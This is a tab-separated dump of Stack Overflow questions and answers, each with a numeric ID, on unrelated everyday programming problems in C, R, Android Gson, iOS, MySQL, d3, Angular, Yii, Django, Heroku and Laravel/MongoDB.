21665479	0	How to skip/ignore a specific position (on a list) within a loop, in C language? <p>A beginner in C language, I have to find the second and third smallest numbers from a list of N numbers.</p> <pre><code>void MenordeN (int N, int lista[100], int *c,int *posicion) { int menor,cont; menor=lista[0]; for (cont=1;cont&lt;N;cont++) { if (lista[cont]&lt;menor) { menor=lista[cont]; *posicion= cont+1; } } *c=menor; </code></pre> <p>}</p> <pre><code>int main() { int lista[100],menor, n, con,res,pos; printf("Ingrese el valor de N: \n"); scanf("%i",&amp;n); printf("Ingrese %i numeros: \n",n); for (con=0;con&lt;n;con++) { scanf("%i",&amp;lista[con]); } MenordeN(n,lista,&amp;res,&amp;pos); printf("El elemento menor es: %i en posicion %i",res,pos); //*res is the answer(smallest number) </code></pre> <h2>As of now: void MenordeN is to find the smallest number and its position. Main calls void MenordeN. However, how do I skip posicion[res] so that I can call void MenordeN again to find the second smallest number?</h2> <pre><code>int low = lista[0],m,i,idx; // init with first array element. m = low; for( i=0; i&lt;3; ++i) { for(idx=0; idx&lt;=100; ++idx) { if (lista[idx]&gt;low) { m = MIN(m,lista[idx]); } } } printf("\n3rd lowest value is %d\n", m); return 0; </code></pre> <h2>----->This just prints the first value entered, not the third smallest.</h2> <pre><code>int main() { int lista[100],menor, n, con, res, pos,resp; printf("Ingrese el valor de N: \n"); scanf("%i",&amp;n); printf("Ingrese %i numeros: \n",n); for (con=0;con&lt;n;con++) { scanf("%i",&amp;lista[con]); } MenordeN(n,lista,&amp;res,&amp;pos); printf("El elemento menor es: %i en posicion %i",res,pos); res=NULL; MenordeN(n,lista,&amp;resp,&amp;pos); printf("\nEl segundo elemento menor es: %i en posicion %i",resp,pos); return 0; </code></pre> <p>---------------> I know this is wrong, but isn't there something simpler like res=NULL or lista[res]==NULL? My teacher wouldn't expect anything too complicated because we are still in programming I. </p>
27222363	0	R: How to count number of 1 and write to vector <p>I have as signal-vector that looks like this: </p> <blockquote> <p>a &lt;- c(1,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1) </p> </blockquote> <p>I will count how often a 1 occurs in one raw and write that in to a vector b e.g. for vector a it should result in: </p> <blockquote> <p>b<br> 5,2,1,1,1,1,3 </p> </blockquote> <p>The reason is that i will plot a histogram that shows me the distribution of the length of the events. Maybe there is already a function in R that does exactly that? Otherwise with if-loop? </p> <p>Cheers Greg </p>
23893604	0	Caused by: com.google.gson.TokenMgrError: Lexical error at line 1, column 1. Encountered: "<" (60), after : "" <p>In my android application I am facing a very strange error and cannot get into root of it. I making a network call and parsing the JSON response. But the application crashes and I receive the following error.</p> <p>It occurs randomly and unable to reproduce the error. It would be very handy if some one who have faced this before could tell me what possibly could trigger this crash.</p> <pre><code>com.google.gson.JsonParseException: Failed parsing JSON source: java.io.StringReader@40e13578 to Json at com.google.gson.JsonParser.parse(JsonParser.java:57) at com.google.gson.Gson.fromJson(Gson.java:443) at com.google.gson.Gson.fromJson(Gson.java:396) at com.google.gson.Gson.fromJson(Gson.java:372) at com.xyz.getStaffFromJson(JsonUtils.java:201) at com.xyz.getMyDetails(WebAPI.java:666) at com.xyz.OptimisedSyncService.onHandleIntent(OptimisedSyncService.java:147) at android.app.IntentService$ServiceHandler.handleMessage(IntentService.java:65) at android.os.Handler.dispatchMessage(Handler.java:99) at android.os.Looper.loop(Looper.java:156) at android.os.HandlerThread.run(HandlerThread.java:60) Caused by: com.google.gson.TokenMgrError: Lexical error at line 1, column 1. Encountered: \"&lt;\" (60), after : \"\" at com.google.gson.JsonParserJavaccTokenManager.getNextToken(JsonParserJavaccTokenManager.java:1168) at com.google.gson.JsonParserJavacc.jj_ntk(JsonParserJavacc.java:635) at com.google.gson.JsonParserJavacc.parse(JsonParserJavacc.java:10) at com.google.gson.JsonParser.parse(JsonParser.java:54) ... 10 more com.google.gson.TokenMgrError: Lexical error at line 1, column 1. Encountered: \"&lt;\" (60), after : \"\" at com.google.gson.JsonParserJavaccTokenManager.getNextToken(JsonParserJavaccTokenManager.java:1168) at com.google.gson.JsonParserJavacc.jj_ntk(JsonParserJavacc.java:635) at com.google.gson.JsonParserJavacc.parse(JsonParserJavacc.java:10) at com.google.gson.JsonParser.parse(JsonParser.java:54) at com.google.gson.Gson.fromJson(Gson.java:443) at com.google.gson.Gson.fromJson(Gson.java:396) at com.google.gson.Gson.fromJson(Gson.java:372) at com.xyz.getStaffFromJson(JsonUtils.java:201) at com.xyz.getMyDetails(WebrosterAPI.java:666) at com.xyz.OptimisedSyncService.onHandleIntent(OptimisedSyncService.java:147) at android.app.IntentService$ServiceHandler.handleMessage(IntentService.java:65) at android.os.Handler.dispatchMessage(Handler.java:99) at android.os.Looper.loop(Looper.java:156) at android.os.HandlerThread.run(HandlerThread.java:60) </code></pre> <p>Sample response : {"mcode":"123","mobilesettings":{"mobile":"07405123154","email":"rcb@rtc.com","telephone":"0174465599","timeout":20,"mail_address":"abc.gmail.com","mail_user":"mail.user@gmail.com","mail_password":"password","task_state":0,"force_task_reason":0,"allow_free_task_reason":1,"unsent_sync":10,"booking_sync":240,"default_scan_mode":0,"gps_enabled":1,"gps_poll_interval":5,"minimum_gps_accuracy":100.0,"allow_blank_aborted_reason":false,"allow_free_aborted_reason":true},"staff":{"json_class":"Staff","staff_id":1234,"title":"","fname":"rags","mname":"","sname":"rags","location_id":321,"pager":"","mobile":"07444456789","email":"abc@def.com","website":"","dob":null,"job_title":"","uid_ref":1,"dt_stamp":"Tue Feb 11 13:13:44 +0000 2014","pin_no":"","wroptions":0,"dt_created":"Wed Dec 04 16:13:08 +0000 2013","user_created":1,"pin_start":"1234","pin_end":"1234","payroll_report":"Payroll.xml","external_payroll_ref":"","payroll_export":"Payroll.sql","supplier":0,"is_saved":1}}</p>
15205731	0	 <p>I ended up adding the pickerview to an action sheet like so:</p> <pre><code>UIActionSheet *aac = [[UIActionSheet alloc] initWithTitle:@"Choose Date and Time" delegate:self cancelButtonTitle:nil destructiveButtonTitle:nil otherButtonTitles:nil]; [datePicker addTarget:self action:@selector(dateChanged) forControlEvents:UIControlEventValueChanged]; pickerDateToolbar = [[UIToolbar alloc] initWithFrame:CGRectMake(0, 0, 320, 44)]; pickerDateToolbar.barStyle = UIBarStyleBlackOpaque; [pickerDateToolbar sizeToFit]; NSMutableArray *barItems = [[NSMutableArray alloc] init]; UIBarButtonItem *flexSpace = [[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemFlexibleSpace target:self action:nil]; [barItems addObject:flexSpace]; UIBarButtonItem *doneBtn = [[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemDone target:self action:@selector(DatePickerDoneClick)]; [barItems addObject:doneBtn]; [pickerDateToolbar setItems:barItems animated:YES]; [aac addSubview:pickerDateToolbar]; [aac addSubview:datePicker]; [aac showFromTabBar:self.tabBarController.tabBar]; CGFloat wideth = self.view.frame.size.width; if (UIDeviceOrientationIsLandscape([self interfaceOrientation])) { [aac setBounds:CGRectMake(0,0,wideth, 355)]; [datePicker sizeToFit]; } else { [aac setBounds:CGRectMake(0,0, wideth, 470)]; [datePicker sizeToFit]; } picker = aac; </code></pre> <p>Hope that this helps others.</p>
38432624	0	Fast inserting or updating data from huge JSON to MYSQL with php <p>In a project of mine I have a problem updating my mysql db from a huge json. the json object in question consist of ~1000 entries like this:</p> <pre><code>[{ "uniqueId":"578742901714e", "lat": -76.760541, "lng": 121.289062, "description":"foo and bar", "visible": true }] </code></pre> <p>In order to compare the data in the json to the database, I used different statements enclosed in different loops. While this worked it took some time ~45 seconds for the whole json to be processed and written.</p> <p><strong><em>Edit:</em></strong></p> <p><strong>To clarify, I loop through the array returned by json_decode() and compare the data directly to the Database via SELECT and INSERT STATEMENTS - which works but is slow as hell, because the data is huge</strong></p> <p>Because the user has to wait for this to ensure data integrity, I decided this should be sped up.</p> <p>So I looked using INSERT INTO ON DUPLICATE KEY UPDATE, which should work with multiple data sets.</p> <p>But here's the real problem: Because some entries like "description" are saved in their own table I need something like LAST_INSERT_ID() to know the auto-increment id of the just inserted dataset. But LAST_INSERT_ID() doesn't work that way and only returns the first row if it is used in a batch INSERT. (<a href="http://dev.mysql.com/doc/refman/5.6/en/information-functions.html#function_last-insert-id" rel="nofollow">Documentation</a>)</p> <p>So I'm stuck between a functioning but very slow execution and a non-functioning but (supposedly) very fast execution.</p> <p>I don't really know how to proceed, can you help me?</p> <hr> <p><strong>Edit:</strong></p> <p>The database in question consists of some tables. The most prominent ones are the following two:</p> <p>table poi:</p> <pre><code>#1 id int auto-increment primary #2 unique_id varchar(13) unique #3 date int(11) #4 visible tinyint(1)/bool </code></pre> <p>table poi_description:</p> <pre><code>#1 id int auto-increment primary #2 poi_id int(11) #3 description text #4 date int(11) #5 user int(11) </code></pre> <p>I read so much in the last two days that I'm really not sure how to update the rows if the uniqueid is already in the table. I thought, I could get it to work with INSERT ON DUPLICATE UPDATE, but that looks only for the primary key - at least that's how it looks to me.</p>
25928936	0	Get the size of an array from its type <p>I have a template parameter T which I know will be a</p> <pre><code>MyArray&lt;Tbis, n&gt; </code></pre> <p>Is there a way to get back the integer n so I can use it as a template parameter ?</p> <p>Best regards,</p>
36343998	0	 <p>How I centered a Topojson, where I needed to pull out the feature:</p> <pre><code> var projection = d3.geo.albersUsa(); var path = d3.geo.path() .projection(projection); var tracts = topojson.feature(mapdata, mapdata.objects.tx_counties); projection .scale(1) .translate([0, 0]); var b = path.bounds(tracts), s = .95 / Math.max((b[1][0] - b[0][0]) / width, (b[1][1] - b[0][1]) / height), t = [(width - s * (b[1][0] + b[0][0])) / 2, (height - s * (b[1][1] + b[0][1])) / 2]; projection .scale(s) .translate(t); svg.append("path") .datum(topojson.feature(mapdata, mapdata.objects.tx_counties)) .attr("d", path) </code></pre>
9583652	0	 <p>Your script is looking for a DOM element with ID "overlay" which does not exist. The id of the button is btnAddUser.ClientID</p> <pre><code>&lt;asp:Button runat="server" ID="btnAddUser" Text="Add Currency Combination" ValidationGroup="valSum2" CssClass="showHide" /&gt; &lt;script type="text/javascript" language="javascript"&gt; $(document).ready(function() { $('&lt;%= btnAddUser.ClientID %&gt;').click(function() { $.blockUI({ overlayCSS: { backgroundColor: '#00f' } }); setTimeout($.unblockUI, 2000); }); }); &lt;/script&gt; </code></pre> <p>Note the removal of OnClientClick!</p> <p>Alternatively you can make this code a named function and type its name in the OnClientClick property. You can also bind by CssClass ( $('.showHide') ) (see @PraveenVenu's answer) but this will bind the function to all elements that use this css class.</p>
31868428	0	 <p>Not completely sure if I understand what you are trying to do, but I gave it a shot.</p> <p>In the CSS if you change the margin to padding, then any background color on the child element will extend to the parent. background color is includes the padding but not the margin.</p> <p>I also had to bump up the width of the child 20px for it to fill properly.</p> <p>Updated fiddle: <a href="https://jsfiddle.net/5qp1a3um/1/" rel="nofollow">https://jsfiddle.net/5qp1a3um/1/</a></p> <pre><code>.inner{ padding-left: 100px; padding-right: 100px; background-color: blue; width: 220px; height: 300px; border: 1px solid green; } </code></pre>
21652345	0	From inside a custom directive how to change text of another span element? <p>I have an <code>&lt;input&gt;</code> which holds my custom directive as an attribute and inside that attribute I give the ID of destination that will receive the text. At the moment I am doing the text change with jQuery but I would rather use the full Angular way...So it's kinda of a binding but from within a directive. To make it simple, I made a simple draft of my code: <br><br>HTML Code</p> <pre><code>&lt;input type="text" name="input1" my-directive="message1" /&gt; &lt;span id="message1"&gt;&lt;/span&gt; </code></pre> <p>JS Code</p> <pre><code>// Angular - custom Directive directive('myDirective', function($log) { return{ require: "ngModel", link: function(scope, elm, attrs, ctrl) { var receiverId = attrs.myDirective; var whateverText = 'blabla'; $('#'+receiverId).text(whateverText); } }; }); </code></pre> <p>Using the ID on my <code>&lt;span&gt;</code> element is probably not the best solution, but that is how I got it working with jQuery. It's probably better to remove the ID, but then how could I update the text in my span after all? And let's not forget that it's a Form and we can have multiple input and span elements. Also note that I do not want to use the controller to pass the text, it has to stay within the directive as I want to re-use it. <br><br>Please don't tell me that I shouldn't do it this way, I want to stick with this behavior. </p>
38736983	0	 <p>you can also use this query for test:</p> <pre><code>UPDATE dupli d SET description = ( SELECT CONCAT('duplicate in ',GROUP_CONCAT(`id` ORDER BY id)) FROM (SELECT * FROM dupli) AS d1 WHERE `name` = d.`name` AND id &lt;&gt; d.id ) ; </code></pre> <p><strong>sample</strong></p> <pre><code>MariaDB [yourSchema]&gt; UPDATE dupli d -&gt; SET description = ( -&gt; SELECT CONCAT('duplicate in ',GROUP_CONCAT(`id` ORDER BY id)) -&gt; FROM (SELECT * FROM dupli) AS d1 -&gt; WHERE `name` = d.`name` AND id &lt;&gt; d.id ) ; Query OK, 0 rows affected, 1 warning (0.00 sec) Rows matched: 4 Changed: 0 Warnings: 1 MariaDB [yourSchema]&gt; select * from dupli; +----+------+------------------+ | id | name | description | +----+------+------------------+ | 1 | foo | duplicate in 3,4 | | 2 | bar | NULL | | 3 | foo | duplicate in 1,4 | | 4 | foo | duplicate in 1,3 | +----+------+------------------+ 4 rows in set (0.00 sec) MariaDB [yourSchema]&gt; </code></pre>
17286730	0	 <p>The problem is as others in the comments mentioned, that your javascript resource is not precompiled.</p> <p>The solution is a little bit more than just making sure you precompile the assets, which by the way heroku will do when you push so you don't have to.</p> <p>The problem lies in that you are doing this:</p> <pre><code>&lt;% content_for :script do %&gt; &lt;%= javascript_include_tag 'hover_content' %&gt; &lt;% end %&gt; </code></pre> <p>Since you are referencing hover_content directly instead of just including it in your application.js then you must tell Rails that you want this included in the asset precompile step.</p> <p>Modify your production.rb file and add this line:</p> <pre><code>config.assets.precompile += %w( hover_content.js ) </code></pre> <p>That will tell rails that in addition to the application.js which automatically gets compiled and included that you want to also include this other file hover_content.js</p>
17983180	0	Updating Yii Dropdownlist After Insert New Element [SOLVED] <p>I'm totally new in Yii, so, excuse me if the answer for this question is a little bit trivial.</p> <p>Here's my code: </p> <pre><code>&lt;p&gt; &lt;?php echo $form-&gt;labelEx($model,'phone_type'); ?&gt; &lt;span class="field"&gt; &lt;?php echo $form-&gt;dropDownList($model,'phone_type', CHtml::listData(PhonesTypes::model()-&gt;findAll(), 'id','type' )); ?&gt; &lt;?php echo $form-&gt;error($model,'phone_type'); ?&gt; &lt;/span&gt; &lt;/p&gt; </code></pre> <p>There will be a button to register new Phone types. So, after the submition of the form, that will be inside of a CJUiDialog, I wish that the above dropDownList be updated with the new type, without refresh the page. </p> <p>I google it a lot, but i only find things related to "dependent dropdowns" in Yii.</p> <p>What's the better approach to solve this problem? Is there something like <code>$.fn.cgridview.update</code>?</p> <p>Here's the Dialog code:</p> <pre><code>&lt;?php $this-&gt;endWidget('zii.widgets.jui.CJuiDialog'); $this-&gt;beginWidget('zii.widgets.jui.CJuiDialog', array( 'id'=&gt;'dialog-crud', 'options'=&gt;array( 'title'=&gt;'Create new Phone Type', 'autoOpen'=&gt;false, 'modal'=&gt;true, 'width'=&gt;1080, 'height'=&gt;820, 'resizable'=&gt;false ), )); ?&gt; &lt;iframe src="http://myapp/phone_types/create" width="100%" height="100%"&gt;&lt;/iframe&gt; &lt;?php $this-&gt;endWidget(); ?&gt; </code></pre> <p>And the code of the controller, is a trivial create function:</p> <pre><code>public function actionCreate(){ $model = new PhoneType; if(isset($_POST['PhoneType'])){ $model-&gt;attributes = $_POST['PhoneType']; if( $model-&gt;save() ){ //----&gt; some suggestion here? echo CHtml::script(""); Yii::app()-&gt;end(); } } } </code></pre> <hr> <p><strong>So, below is the code of my solution.</strong> In the view: </p> <pre><code>&lt;?php $this-&gt;beginWidget('zii.widgets.jui.CJuiDialog', array( 'id'=&gt;'dialog', 'options'=&gt;array( 'title'=&gt;'Phone Types', 'autoOpen'=&gt;false, 'modal'=&gt;true, 'width'=&gt;1080, 'height'=&gt;820, 'resizable'=&gt;false ), )); ?&gt; &lt;iframe src="phoneTypes/create" id="cru-frame" width="100%" height="100%"&gt;&lt;/iframe&gt; &lt;?php $this-&gt;endWidget(); ?&gt; </code></pre> <p>In my PhoneTypesController:</p> <pre><code>public function actionCreate(){ $model = new PhoneTypes; if(isset($_POST['PhoneTypes'])){ $model-&gt;attributes = $_POST['PhoneTypes']; if($model-&gt;save()){ echo CHtml::script(" window.parent.$('#dialog').dialog('close'); window.parent.$('#Phone_types_id').append('&lt;option value=".$model-&gt;id." &gt;'+'".$model-&gt;type."'+'&lt;/option&gt;'); "); Yii::app()-&gt;end(); } } $this-&gt;render('create',array( 'model'=&gt;$model, )); } </code></pre> <p>Thanks for your help!</p>
15153597	0	 <p>You could use this: </p> <p>If this was your url:</p> <pre><code>url(r'(?P&lt;category&gt;[a-z]+)$', 'display', name='dyn_display') reverse('dyn_display', kwargs={'category': 'first'}) </code></pre> <p>To redirect you can use it like this in your view:</p> <pre><code>from django.http import HttpResponseRedirect return HttpResponseRedirect(reverse('dyn_display', kwargs={'category': 'first'})) </code></pre> <p>If this was your url:</p> <pre><code>url(r'$', 'display', name='dyn_dysplay') reverse('dyn_display') </code></pre> <p>To redirect you can use it like this in your view:</p> <pre><code>from django.http import HttpResponseRedirect return HttpResponseRedirect(reverse('dyn_display')) </code></pre> <p>To have a view that could receive an optional value you would need 2 urls:</p> <pre><code>url(r'$', 'display', name='dyn_optional_display') url(r'(?P&lt;category&gt;[a-z]+)$', 'display', name='dyn_display') </code></pre> <p>And then your view:</p> <pre><code>def courses_display(request, category=None): ctx = {} if category: ctx.update({category: 'in'}) return render_to_response('display/basic.html', ctx, context_instance=RequestContext(request)) </code></pre>
39919091	0	 <p>I've forked that project and made a <a href="https://github.com/jonmountjoy/PerfectTemplate#deploy-to-heroku" rel="nofollow">Heroku Button deployable version here</a>. In order to get that working, I checked out the sample app, and found that the build dumped the binary in <code>.build/release/PerfectTemplate</code>, so your Procfile should be:</p> <p><code> web: .build/release/PerfectTemplate --port $PORT </code></p> <p>Note, you also want to set the <code>$PORT</code>. If you've deployed but failed prior to this, you'll also want to make sure you scale up the web dyno: <code>heroku ps:scale web=1</code>.</p>
36117190	0	Laravel with drivers of MongoDB <p>I'm new using MongoDB in laravel, I want to use laravel 4.2 with MongoDB but I have this problem: </p> <pre> > C:\xampp\htdocs\laravel-mongo>composer require jenssegers/mongodb Using version ^3.0 for jenssegers/mongodb ./composer.json has been updated Loading composer repositories with package information Updating dependencies (including require-dev) Your requirements could not be resolved to an installable set of packages. Problem 1 - jenssegers/mongodb v3.0.0 requires mongodb/mongodb ^1.0.0 -> satisfiable by mongodb/mongodb[1.0.0, 1.0.1]. - jenssegers/mongodb v3.0.1 requires mongodb/mongodb ^1.0.0 -> satisfiable by mongodb/mongodb[1.0.0, 1.0.1]. - jenssegers/mongodb v3.0.2 requires mongodb/mongodb ^1.0.0 -> satisfiable by mongodb/mongodb[1.0.0, 1.0.1]. - mongodb/mongodb 1.0.1 requires ext-mongodb ^1.1.0 -> the requested PHP extension mongodb has the wrong version (1.0.0) installed. - mongodb/mongodb 1.0.0 requires ext-mongodb ^1.1.0 -> the requested PHP extension mongodb has the wrong version (1.0.0) installed. - Installation request for jenssegers/mongodb ^3.0 -> satisfiable by jenssegers/mongodb[v3.0.0, v3.0.1, v3.0.2]. To enable extensions, verify that they are enabled in those .ini files: - C:\xampp\php\php.ini You can also run `php --ini` inside terminal to see which files are used by PHP in CLI mode. Installation failed, reverting ./composer.json to its original content.</pre>
22982367	0	 
13650676	0	 <p>You don't need the "Object" keyword and should quote the properties. This worked in my console: </p> <pre><code>var myJsObject = { 'A.b': 1, 'A.c': 2 }; var value = myJsObject['A.c']; console.log(value); // 2 </code></pre>
28918643	0	Full Calendar Event Height in Month View <p><img src="https://i.stack.imgur.com/8KBlx.png" alt="enter image description here"></p> <p>I have Full calender issue here i have two events</p> <ol> <li>16 to 19th events are shown in view( which is visible as 16-18th dates only)</li> <li>Another event from 17-18th ( which is behind the 1st event not visible though)</li> </ol> <blockquote> <p>in console.log($('#calendar').fullCalendar('clientEvents')); I get two events in expected format pls help with this</p> </blockquote>
24712756	0	Want to start an activity from listview click but my class does not extend activity <p>I have a listview in viewpager. I want to start a new activity or if that possible, to make same activity for multiple xml, if I click on item in that list view. </p> <p>But my class does not extend activity.</p> <p>This is my code:</p> <pre><code> public class SampleListFragment extends ScrollTabHolderFragment implements OnScrollListener { private static final String ARG_POSITION = "position"; private ListView mListView; private ArrayList&lt;String&gt; mListItems; private int mPosition; public static Fragment newInstance(int position) { SampleListFragment f = new SampleListFragment(); Bundle b = new Bundle(); b.putInt(ARG_POSITION, position); f.setArguments(b); return f; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mPosition = getArguments().getInt(ARG_POSITION); mListItems = new ArrayList&lt;String&gt;(); if (mPosition==0){ mListItems.add("Game" ); mListItems.add(".iphone " ); mListItems.add("xxx" ); mListItems.add("yyy" ); mListView.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView&lt;?&gt; parent, View view, int position, long id) { switch (position){ case 0 : // i want to start new activity if i clicked in game break; case 1 : //start a new activity if i clicked in iphone break; } } private Context getApplicationContext() { // TODO Auto-generated method stub return null; } }); } else if (mPosition==1){ mListItems.add(". item - currnet page:حة 1 " ); } else if (mPosition==2){ mListItems.add(". item - currnet page:حة2 " ); } else if (mPosition==3){ mListItems.add(". item - currnet page:حة 3 " ); } else if (mPosition==4){ mListItems.add(". item - currnet page:حة 4 " );}} @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View v = inflater.inflate(R.layout.fragment_list, null); mListView = (ListView) v.findViewById(R.id.listView); View placeHolderView = inflater.inflate(R.layout.view_header_placeholder, mListView, false); mListView.addHeaderView(placeHolderView); return v; } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); mListView.setOnScrollListener(this); mListView.setAdapter(new ArrayAdapter&lt;String&gt;(getActivity(), R.layout.list_item, android.R.id.text1, mListItems));} @Override public void adjustScroll(int scrollHeight) { if (scrollHeight == 0 &amp;&amp; mListView.getFirstVisiblePosition() &gt;= 1) { return; } mListView.setSelectionFromTop(1, scrollHeight);} @Override public void onScroll(AbsListView view, int firstVisibleItem, int visibleItemCount, int totalItemCount) { if (mScrollTabHolder != null) mScrollTabHolder.onScroll(view, firstVisibleItem, visibleItemCount, totalItemCount, mPosition); } @Override public void onScrollStateChanged(AbsListView view, int scrollState) { // nothing } } </code></pre>
15299618	0	 <blockquote> <p>I would like to set startAt as an number.</p> </blockquote> <p><code>SomeClass.prototype.startAt</code> <strong>is</strong> a number (<code>0</code>).</p> <p>Your <code>get</code> function explicitly returns <code>false</code> if the property is "falsey":</p> <pre><code>if(!this[prop]){return false;} </code></pre> <p>In JavaScript, <code>0</code>, <code>""</code>, <code>false</code>, <code>undefined</code>, and <code>null</code> are all "falsey", and so the condition above will be true and cause <code>get</code> to return <code>false</code>.</p> <p>If your goal is to return <code>false</code> if the property <em>doesn't exist</em>, you can do that like this:</p> <pre><code>if (!(prop in this)) { return false; } </code></pre> <p>That will check if the property exists on the object itself <em>or</em> its prototype, which I suspect is what you want. But if you only want to check the object itself and ignore properties on the prototype, that would be:</p> <pre><code>if (!this.hasOwnProperty(prop)) { return false; } </code></pre> <p>Bringing that all together, if your goal is for <code>get</code> to return <code>false</code> for properties that the object doesn't have (either its own, or via its prototype), then:</p> <pre><code>get : function(prop){ if (typeof prop !== "string" || !(prop in this)) { return false; } return this[prop]; } </code></pre> <p>I've done a few things there:</p> <ol> <li><p><code>typeof</code> is an operator, not a function, so you don't use parens around its operand (normally)</p></li> <li><p>Since <code>"undefined"</code> is <code>!== "string"</code>, there's no need to check for it specifically when checking that <code>prop</code> is a string.</p></li> <li><p>I used <code>!(prop in this)</code> to see if the object (or its prototype) has the property.</p></li> <li><p>I combined the two conditions that returned <code>false</code> into a single <code>if</code> statement using <code>||</code>.</p></li> </ol>
17654634	0	 <p>Add quotes to your <code>where</code> clause:e.g. <code>where column5 = '$value'</code></p>
41010312	0	Bootstrap datetimepicker - How to set all picker tooltips at once? <p>The following are my example codes:</p> <pre><code>$('#ex1').datetimepicker({ tooltips: { today: 'today', clear: 'clear', close: 'close', }, format: 'YYYY/MM/DD', locale: 'zh-tw', }); $('#ex2').datetimepicker({ tooltips: { today: 'today', clear: 'clear', close: 'close', }, format: 'YYYY/MM/DD', locale: 'zh-tw', }); $('#ex3').datetimepicker({ tooltips: { today: 'today', clear: 'clear', close: 'close', }, format: 'YYYY/MM/DD', locale: 'zh-tw', }); </code></pre> <p>As above, the code is duplicate! How to set all picker tooltips and option at once?</p> <p>I have tried add them to "calendar" class, and use</p> <pre><code>$('.calendar').datetimepicker({ tooltips: { today: 'today', clear: 'clear', close: 'close', }, format: 'YYYY/MM/DD', locale: 'zh-tw', }); </code></pre> <p>to set them, but not working...</p> <p>Thank you!</p> <p>---Updated: --- These are my code about class:</p> <pre><code>&lt;input type='text' class="form-control calendar" id='leave-end'&gt; &lt;input type='text' class="form-control calendar" id='leave-start'&gt; </code></pre> <p>And:</p> <pre><code>$('.calendar').datetimepicker({ tooltips: { close: '關閉日曆', selectMonth: '選擇月份', prevMonth: '上個月', nextMonth: '下個月', selectYear: '選擇年份', prevYear: '前一年', nextYear: '下一年', }, format: 'YYYY/MM/DD', locale: 'zh-tw', }); </code></pre> <p>But not working and no error message, what wrong?</p> <p>And </p> <pre><code>var options = { tooltips: { today: 'today', clear: 'clear', close: 'close', }, format: 'YYYY/MM/DD', locale: 'zh-tw', } $('#leave-start').datetimepicker({options}); </code></pre> <p>I copy and paste but got 1 warning <code>jquery.min.js:2 jQuery.Deferred exception: Maximum call stack size exceeded RangeError: Maximum call stack size exceeded</code> and 1 error <code>jquery.min.js:2 Uncaught RangeError: Maximum call stack size exceeded</code></p>
39506157	0	 <p>You should first learn about <a href="http://sass-lang.com/guide" rel="nofollow"><em>SASS</em></a></p> <p>You will see that SASS is actually CSS made easy and with more features like the ability to use Variables : <code>$myHeight : 500px;</code></p> <p>In your example, he is using variable.</p> <p>To inject it in your project, you need to find a way to save your SASS file in a CSS file. In the above link it is using the command</p> <blockquote> <p>sass --watch app/sass:public/stylesheets</p> </blockquote> <p>But you can also do it with grunt or <a href="https://www.npmjs.com/package/gulp-sass" rel="nofollow">gulp</a></p>
38229544	0	Node-Webkit screen rotation/orientation enforcement or control? <p>By default when using Node-Webkit on a machine with screen rotation (like Asus Transformer on Windows 10), when flipping the screen to portrait mode, the app will flip as well.</p> <p>Is there any way to enforce a specific mode (ex: landscape, portrait), to make sure the app will only view that way, and will not rotate or flip?</p>
19644095	0	 <p>You must have a lot of lines. Are you sure that the second row repeats enough to put those records into an individual file? Anyway, awk is holding the files open until the end. You'll need a process that can close the file handles when not in use. </p> <p>Perl to the rescue. Again.</p> <pre><code>#!perl while( &lt;&gt; ) { @content = split /,/, $_; open ( OUT, "&gt;&gt; $content[1]") or die "whoops: $!"; print OUT $_; close OUT; } </code></pre> <p>usage: <code>script.pl your_monster_file.csv</code></p> <p>outputs the entire line into a file named the same as the value of the second CSV column in the current directory, assuming no quoted fields etc.</p>
20322130	0	 <p>You can look into jQuery to dynamically change CSS properties as the certain events are called. You can find a great tutorial <a href="http://www.w3schools.com/jquery/css_css.asp" rel="nofollow">here</a>. Here is an example from an old project of mine:</p> <pre><code> $(window).scroll(function (e) { $el = $('.fixedElement'); if ($(this).scrollTop() &gt; 98 &amp;&amp; $el.css('position') != 'fixed') { $('.fixedElement').css({ 'position': 'fixed', 'top': '0px', 'width': '90%', 'min-width': '1200px' }); } }); </code></pre>
34439047	0	 <p>This is what you want to use:</p> <p><code>sort -t: -k 1.5,1.8n -k 2.1,2.7n inputfile 440c0401 mfcc.1.ark:9 440c0401 mfcc.1.ark:501177 440c0402 mfcc.2.ark:15681 440c0403 mfcc.3.ark:516849</code></p> <p>-t -separator of fields(should not be used elsewhere in the inputfile</p> <p><code>-k</code> is key for sorting(could be used > 1) <code>-k 1.5,1.8n</code> means: sort numerical(this tells the <code>n</code>) by the field 1 from 5th to 8th character. </p> <p>second <code>-k</code> tells sort the field 2 from the first to the 7th character numerically.</p>
7565568	0	 <blockquote> <p>From what I can tell, there doesn't seem to be a way using streaming to send certain records in output file A and the rest of the records in output file B.</p> </blockquote> <p>By using a custom <a href="http://hadoop.apache.org/mapreduce/docs/r0.21.0/mapred_tutorial.html#Partitioner" rel="nofollow">Partitioner</a>, you can specify which key goes to which reducer. By default the <a href="http://hadoop.apache.org/common/docs/current/api/org/apache/hadoop/mapred/lib/HashPartitioner.html" rel="nofollow">HashPartitioner</a> is used. Looks like the only other Partitioner Streaming supports is <a href="http://hadoop.apache.org/common/docs/current/api/org/apache/hadoop/mapred/lib/KeyFieldBasedPartitioner.html" rel="nofollow">KeyFieldBasedPartitioner</a>.</p> <p>You can find more details about the KeyFieldBasedPartitioner in the context of Streaming <a href="http://hadoop.apache.org/common/docs/current/streaming.html#Hadoop+Partitioner+Class" rel="nofollow">here</a>. You need not know Java to configure the KeyFieldBasedPartitioner with Streaming.</p> <blockquote> <p>Is there a way to do a map/reduce job to re-split every log files correctly?</p> </blockquote> <p>You should be able to write a MR job to re-split the files, but I think Partitioner should solve the problem.</p>
24087718	0	 <p>It seems you use Default Connection Factory. Did you try define connection strings with datasource parameter and indication on .sdf file?</p> <pre><code>&lt;connectionStrings&gt; &lt;add name="ConnectionStringName" providerName="System.Data.SqlServerCe.4.0" connectionString="Data Source=|DataDirectory|\DatabaseFileName.sdf" /&gt; &lt;/connectionStrings&gt; </code></pre> <p>If it won't work, I've got one more idea. You're logging in by Windows Authentication. Maybe it's not possible to make two parallel connections via the same credentials? I'm not sure, but try to check other way than windows authentication. </p>
